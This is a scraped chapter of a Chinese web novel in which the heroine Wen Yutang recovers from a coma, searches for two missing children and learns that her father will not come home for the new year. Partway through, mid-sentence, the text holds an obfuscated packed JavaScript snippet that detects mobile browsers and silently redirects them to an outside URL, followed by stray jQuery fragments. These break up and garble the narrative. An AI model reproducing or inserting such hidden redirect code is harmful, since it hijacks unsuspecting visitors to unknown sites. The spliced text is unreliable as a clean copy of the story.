文趣网 > 其他小说 > 贵人知我甜 > 8. 空空(一) 心里空空的
    室内的空气仿佛凝结了,平时嘻嘻哈哈的道童们也感到此时氛围有些不同寻常。

    裴清寒尴尬道:“我妹妹自幼随我一起学习医理,此时也在观中,我去将她寻来。”

    落珠没有拒绝。

    过了一会,裴清寒领着裴清韵叩门,裴清韵有些疑惑,“是哪位仙子病了?连兄长的医术都瞧不出来病因吗?”

    她进了门,身穿一件湖蓝色夹袄,手上戴着襻膊,背了个药箱,明显正在忙的样子,见到落珠,裴清韵脚步一顿,还没等裴清寒进门,就将人请了出去:“兄长在外稍适等候。”

    裴清寒被连推带搡得推出了门,无奈地摇了摇头,他这小妹,明显已经认出了温予棠的身份,又怕自己知道,殊不知现在她这举动更引人注意,他叩了叩门:“我的药箱。”

    门‘哐’一下打开,一个药箱从门内伸出,裴清寒接了过去,笑道:“你慢慢来,不要急,我去替你义诊。”

    说罢便转身离开,好像刚才告诉裴清韵屋内只是位观中仙子的不是自己一样。

    裴清韵快步走到床边,先切了脉象,“确实如兄长所说,有淤塞之兆,能让我看下温二小姐面容吗?”

    见落珠犹豫,裴清韵道:“请你放心,裴家家训,医者不得私自透露与病人相关之事。”

    裴清韵适才称呼温予棠为仙子,就知裴清寒并未透露温予棠的身份,而裴清韵第一眼就认出了自己,非但没有多言,还直接将自己兄长请走。

    ‘只能赌一把了。’落珠心道,比起所谓的名声,温予棠的性命更重要。

    落珠狠下心,点了点头。

    帷幔被拉开,温予棠静静地躺在床上,睫毛紧闭,呼吸匀长。她神态平静,面容白皙细腻,看不出受伤的样子。

    落珠有些震惊,她看向聚在一旁的道童们,这些小家伙正一脸期待的看着她,落珠心下了然,许是道童们用了什么手段。

    落珠开口,将这几日温予棠昏迷后的情况细细说来,裴清韵听完,又查验了温予棠的药方,说道:“我先行针将气血打通,将表征解掉,如果真如刚才灵童所说,是受了返魂香的影响,可能还需要仙家手段,我就不得而知了。”

    “我们可以!”六位道童互相看了看,二话不说席地而坐,开始吟诵清心诀。

    裴清韵开始施针,她下针又快又稳。

    温予棠表情发生了变化,眉头拧在一起,似遭受了极大的痛苦,忽而又放松下来。落珠正放下心,随即就见她整个人如濒死的鱼,在床上挣扎起来。

    倏地,她睁开了眼。

    “这是哪里……”她的眼神有些恍惚,已分辨不出旧梦和现实。

    “温二小姐!”

    “小姐!”

    清心诀声绕梁而上,直抵灵台。

    温予棠恍然,这是玉真观。

    裴清韵开始收针,擦了擦额头的汗,“醒了便无碍了,二小姐要好生保养,切不可情绪激动。”

    落珠将温予棠扶起来,温予棠看着裴清韵有些疑惑,但她大概也能猜出原因,自己那晚看到镜中的人脸后便陷入一片黑暗,可能是昏睡了许久,落珠无奈才能请来裴清韵。

    裴清韵站起身,去桌旁提笔:“今日裴家法事结束,我便要同兄长归家了,但我将药方留下,你要按时煎服。”

    裴清韵看了眼还迷糊着的温予棠,心里叹气道:‘没想到二小姐在观中过得如此凄苦,生了病也没家中族人照料,看来外面的传言也并不可信,什么女子桀骜送入道观清修,分明是看温予棠无母,父亲又远在边关好欺负罢了。’

    她又想到自己,虽说自幼和兄长一起习医,但恐怕嫁了人后就不能随心所欲了,这枷锁拴在女子身上,其中苦痛,怕是只有女子知道。

    她语气温和:“温二姐姐请放心,如若你不想将此事告知温家,我必不会多言。”

    温予棠愣住,她还以为裴清韵是温舒意闺中密友,必会知无不言。

    似是看出温予棠的疑惑,裴清韵说道:“我和舒意的手帕交是和她的闺阁之谊,我敬佩二小姐的风骨是我的一厢情愿,不必混为一谈。”

    看她如此温婉,嘴里却说得如此豪迈,温予棠忍不住也笑了起来,“那在下谢过裴小姐了。”

    裴清韵脸有些红,她没想到温予棠笑起来如此喜气好看,心里也乐开了花,“我得空便来看你。”

    和裴清韵告别后,温予棠细细询问了落珠这几日的情形,又被道童灌了好几碗补药,她气血翻涌,脑子却没停,终是不顾落珠劝阻出了门。

    温予棠让落珠找了辆马车,先去了府衙,她二人等了许久,才有人捎话出来:“你们打听的那两个小孩两日前就已出狱了。”

    温予棠惊讶,两日前正是她昏迷的第一天,落珠正忙着看护她,也没办法来此处,谁能想到府衙审理速度这么快,竟是一日就已查清真相,将小麦和小米放了出来。

    温予棠和落珠又急忙赶到昌盛坊,问了几个店家,但均说没看到过这对兄妹。

    无奈下温予棠只能和落珠又匆匆前往癞子章的相好处,谁料也吃了个闭门羹,许是听说癞子章被抓走了,这铺子竟然直接关门了。

    绕了一大圈,眼看天已经擦黑了,温予棠咳嗽了两声,在一旁的脂粉铺子买了点粉,借着店里的铜镜细细得将脸上的伤痕遮好,又紧了紧脖子上的风领,“回温家。”

    到了温家,正是用晚膳的时候,温家的下人看到温予棠有些诧异,这些年二小姐在玉真观清修后鲜少回家,估摸着今天又是主母有事,将二小姐叫了回来。

    下人卖了个巧,道:“二小姐晚膳可有用过?主母那厨房正张罗着呢,听说今日烧了红烧羊肉,最是滋补,想必您也有口福了。”

    温予棠道:“已经吃过了,我就不去打扰主母了,我去拜见祖母。”

    下人忙道:“老祖宗已用好晚膳了,二小姐真是知心,一归家便去给老祖宗解闷。”

    温予棠笑而不语,径直去了松鹤居。

    温老太太刚用完饭,温予棠便来了,她进去后乖顺地接过身旁嬷嬷手里的水盆,服侍着温老太太净手漱口。

    温老太太瞧出她有话要讲,却也不急。

    嬷嬷搬来矮凳,温予棠自觉地坐下,给温老太太捶起腿来。

    温老太太打量着温予棠,她进屋后不急不躁,端茶递水,伺候人伺候得很是妥帖,和未去玉真观前一样,这倒也好,没在外面野了心思,她还算满意,开口道:“今日突然归家,是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896192|212848||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有何事啊?”

    温予棠挂上了讨好的微笑,“玉真观太过清净,孙女有些想家,就回来了,现在见到祖母,心便安了。”

    这话温予棠以前也总说,但每次都是客气两句,温老太太便把她请出房门。

    倒不是温予棠真的讨人厌,她长得貌美,一脸福相,嘴巴还甜,只不过就是瞧不出有半点温家人的样子,温老太太怎么都亲近不起来。

    ‘想必是像极了她那不知姓名的母亲。’思及这事,温老太太又有些不虞。

    温予棠感受到温老太太情绪的变化,收回自己的手,说道:“孙女为祖母准备了悬素堂的安神汤,已让嬷嬷温着,祖母可服用一碗,今夜必定安眠。”

    “你倒是个孝心的。”温老太太拍了拍她的肩膀。

    嬷嬷将汤端上来,温予棠也终于说出了今天的正题,“眼看就是年节了,不知父亲何时归京。”

    距离上次温临渊归京已有三年,也是到了回京面圣的时候了。

    “你父亲……”温老太太语气有些怅然,她其实很是想念自己这位小儿子,她生温临渊时年纪已经蛮大了,多年未有子嗣后得了这个嫡次子自是宝贝的不得了,可谁能想到温临渊赴任凉州后,竟是见不上几面了。

    “他写信说今年年节就不回来了,眼看你要到说亲的年纪了,等你的亲事订下,他再归京,把事情一道办了。”

    温予棠木然,心里的墙像是一下子倒塌了,她完美的微笑有些裂痕,僵在脸上,杏眼闪烁,“这样……”

    看她失望的表情,温老太太此时倒有些心软,她摸了摸温予棠的头说:“你放心,祖母给你把关着呢,定会让老大媳妇给你安排一门好亲事。”

    “谢过祖母。”她勉强应付着。

    温老太太见她伤心,泫而欲泣的样子,便也早早放她回香园休息了。

    温予棠哭不出来,心里像是闷着一口,行尸走肉般地走回香园。下人们见她回来了,端上了小食宵夜。

    这是佟氏吩咐的,她还是有几分主母做派,听温予棠回来了,便让人早早燃起炭火,又让人带了口信,免了温予棠的请安。

    这倒不是佟氏大度,只是天这么冷,她也不想又重新梳妆和温予棠在那假客气。

    温予棠吃不下去,坐在房里,擦掉脸上的脂粉,兀自对着镜子发呆。

    父亲今年不回来了,再回来时她便已说定了亲事,那她该如何问清楚父亲当年在凉州发生的一切?这一切的一切都要这么不明不白的封存在冷冬中了。她还能去凉州吗,她这辈子还有可能见到自己小时候生活的地方吗,能知道她的娘亲是谁吗?

    ‘啪嗒’,温予棠的眼泪砸在了桌上。

    她在玉真观修行很久了,见过许多求而不得、贪嗔痴恨。她以为自己不一样,她以为自己可以救下落珠,却差点让落珠替她死,她答应了去接那对兄妹,却兑现不了自己的诺言。

    她找不到母亲,找不到父亲,找不到那对兄妹。

    她是一个永远不知道自己从何处来,又去往何处的人。像是只孤魂野鬼,游荡在人间。

    温予棠站起身来,推开窗子,明月高悬,银光洒满大地,照得出惊鹊飞影,照得出树影斑驳,却独独照不出她的魂魄。